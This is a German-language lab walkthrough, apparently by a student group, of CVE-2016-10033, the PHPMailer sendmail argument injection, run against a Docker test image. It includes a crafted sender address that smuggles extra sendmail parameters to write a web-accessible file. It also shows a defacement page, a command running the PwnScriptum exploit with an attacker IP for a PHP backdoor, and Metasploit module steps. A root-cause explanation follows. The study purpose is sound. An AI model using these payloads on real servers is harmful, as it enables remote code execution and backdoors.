
Proof of Concept für CVE-2016-10033 (PHPMailer)
Zuerst lasst uns die verwundbare Anwendung zum Laufen bringen.
Befehl: docker pull vulnerables/cve-2016-10033


Sie können jetzt die verwundbare Website unter localhost:8080 im Webbrowser aufrufen.

Name-Eingabe: OSEC (kann eine beliebige Zeichenfolge sein, dies beeinflusst den Exploit nicht)
Konstruierte Absender-E-Mail: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com
Wie diese konstruierte Absender-E-Mail funktioniert, wird im Abschnitt zur Beschreibung des Angriffsvektors ausführlich erläutert. Was die spezifischen Parameter betrifft, so gibt der zweite Parameter -oQ/tmp das Warteschlangenverzeichnis an und der dritte Parameter -X/www/pwn.html den Speicherort der zu schreibenden Logdatei. Wenn das Warteschlangenverzeichnis nicht angegeben wird, würde der Sendmail-Prozess versuchen, auf das Standard-Mail-Warteschlangenverzeichnis (/var/spool/mqueue-client/) zuzugreifen, das geschützt wäre, um unbefugten Zugriff und Manipulation zu verhindern, was eine gängige Sicherheitsmaßnahme ist. Um dieses Berechtigungsproblem zu vermeiden, sollten Sie ein Warteschlangenverzeichnis angeben, in dem der Benutzer, der das PHP-Skript ausführt, Schreibrechte hat. Üblicherweise wird ein Verzeichnis wie /tmp verwendet, da es normalerweise von allen Benutzern beschreibbar ist. Wenn der E-Mail-Text PHP-Code enthält und die angegebene Logdatei in einem webbasierten Verzeichnis platziert wird, kann der Angreifer den PHP-Code ausführen, indem er über einen Webbrowser auf die Logdatei zugreift, was zu Remote-Code-Ausführung führt.
Nachrichten-Eingabe: Dies ist nur eine Beispiel-HTML-Datei, die ein Angreifer hochladen könnte. Natürlich könnte der Angreifer etwas viel Schlimmeres hochladen, wie z.B. eine Hintertür, was wir in der nächsten Exploit-Methode tun werden.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacked!</title>
<style>
body {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
}
</style>
</head>
<body>
<div class="container">
<h1 style="color: red;">Congratulations! You've been hacked!</h1>
<div>
<p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
</div>
</div>
</body>
</html>

Befehl: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www
-url -> gibt die Ziel-URL an
-cf -> gibt den Speicherort des Kontaktformulars innerhalb der in -url angegebenen URL an. (In unserem Fall ist es exakt dasselbe wie -url, daher haben wir nur einen Schrägstrich eingefügt)
-ip -> gibt die IP des Angreifers an, mit der die Hintertür eine Verbindung herstellen soll
-d -> gibt das relative Verzeichnis zum Hochladen der PHP-Hintertürdatei an
--post-action -> Das name-Attribut des versteckten Feldes
--post-msg -> Das name-Attribut des Nachrichteneingabefeldes
Hinweis: Der Grund, warum wir --post-action auf "submit" und --post-msg auf "message" setzen müssen, ist, dass in der von uns verwendeten verwundbaren Anwendung das name-Attribut von den Standardwerten des Python-Exploit-Skripts abweicht.
Die name-Attribute in der verwundbaren Anwendung:

Die im Skript angegebenen Standard-name-Attribute:


Im obigen Bild sehen Sie, dass das Programm versucht, auf http://127.0.0.1:8080//www/phpbackdoor9284.php zuzugreifen, was aufgrund von //www offensichtlich falsch ist. Dies wird nicht funktionieren, da in dieser verwundbaren Website /www das Website-Root ist. Daher können Sie nicht zu http://127.0.0.1:8080/www navigieren, da http://127.0.0.1:8080 bereits im /www-Verzeichnis liegt.
Außerdem können wir im folgenden Bild sehen, dass der Exploit tatsächlich funktioniert hat, da die Datei phpbackdoor9284.php erfolgreich im Verzeichnis erstellt wurde. Das einzige Problem war daher, wie man das //www aus der URL entfernt.

Bei näherer Untersuchung des Python-Skripts konnten wir die Variable BACKDOOR_URL lokalisieren, die die URL zur PHP-Hintertürdatei angibt.
In der Variable sehen wir, dass das von uns angegebene Zielverzeichnis (args.TARGET_UP_DIR) mit der Variable BACKDOOR_FILE verkettet wird.
Um das Problem zu lösen, müssen wir das und den zusätzlichen Schrägstrich entfernen.
Vorher:

Nachher:


Befehle:
msfconsole
search CVE-2016-10033
use 1

Befehle:
set RHOSTS 192.168.79.1 (gibt die IP des Ziels an)
set RPORT 8080 (gibt den Port des Ziels an)
set TARGETURI /(gibt die URL des Webformulars an)
set WEB_ROOT /www (gibt an, wo sich das Website-Root befindet)

Befehl: exploit

Wir sind am Ende des POC angelangt.
Die PHPMailer-Klasse verwendet die PHP-Funktion mail() als ihren Standardtransport.
Der Transport wird mit der Funktion mailSend() implementiert:

Wenn Sie sich Zeile 12 ansehen,

wird die Absenderadresse gemäß der PHP-Dokumentation der mail()-Funktion mit -f verkettet, um dem Sendmail-Binary mitzuteilen, dass die Zeichenfolge nach dem -f-Argument die E-Mail-Adresse des Absenders ist.

In der letzten Zeile der mailSend()-Funktion,

werden alle Argumente übergeben, die von der PHP-Funktion mail() benötigt werden, einschließlich des 5. Parameters $params, der es ermöglicht, zusätzliche Parameter an das Sendmail-Binary zu übergeben.
Das folgende Bild zeigt die Parameter, die die mail()-Funktion erwartet und die mit den Parametern übereinstimmen, die die mailSend()-Funktion übergibt.

Wie oben zu sehen, wissen wir, dass der String $params aus der Sender-Variable aufgebaut wird. Dieser Sender-String wird normalerweise mit der Methode setFrom() gesetzt, die die vom Benutzer im Webformular eingegebene Absenderadresse validiert.

Aufgrund der Validierung durch die Funktion validateAddress() würde PHPMailer beispielsweise eine E-Mail wie,
attacker -InjectedParam2 @attacker.com
ablehnen, was die Injektion zusätzlicher Parameter in Sendmail via die mail()-Funktion verhindern würde.
Bei weiteren Recherchen des Gründers des CVE stellte er fest, dass die Validierung tatsächlich anhand der RFC-3696-Spezifikation erfolgt.
Der RFC erlaubt E-Mails, Leerzeichen zu enthalten, wenn sie mit " in Anführungszeichen gesetzt werden. Daher würde die folgende E-Mail-Adresse von der Methode setFrom() akzeptiert werden:
"Attacker -Param2 -Param3"@test.com
Diese würde dann an die Funktion mailSend() und dann an die PHP-Funktion mail() übergeben werden, die dann /usr/bin/sendmail, das MTA (Mail Transfer Agent)-Binary, mit der folgenden Argumentliste ausführen würde:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t] (read recipients from headers)
Arg no. 2 == [-i] (ignore dots on lines)
Arg no. 3 == [-f”Attacker -Param2 -Param3”@test.com]
Mit anderen Worten so:

was für den Angreifer nicht funktionieren würde, da Param2 und Param3 innerhalb desselben Arguments Nummer 3 übergeben werden, das die Absenderadresse angibt.
Angreifer können jedoch durch zusätzliches Escaping ausbrechen. Indem sie eine zusätzliche Sequenz von \" in die Absender-E-Mail nach dem ersten Argument einfügen,
"Attacker \" -Param2 -Param3"@test.com
und wenn diese an PHPMailer und schließlich an die mail()-Funktion übergeben wird, würde sie das Sendmail-Binary mit der folgenden Argumentliste ausführen:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"@test.com]
Mit anderen Worten so:

Daher könnten Angreifer diesmal zusätzliche Parameter injizieren, in diesem Fall Parameter 4 und 5.
Diese Schwachstelle wurde von Dawid Golunski gefunden.
Das Docker-Image wurde von opsxcq erstellt - https://github.com/opsxcq
und nicht zuletzt meine lieben Gruppenmitglieder, die mir bei dem POC geholfen haben :
Xavion - https://www.linkedin.com/in/xaviontok/
Brandon - https://www.linkedin.com/in/brandontyf/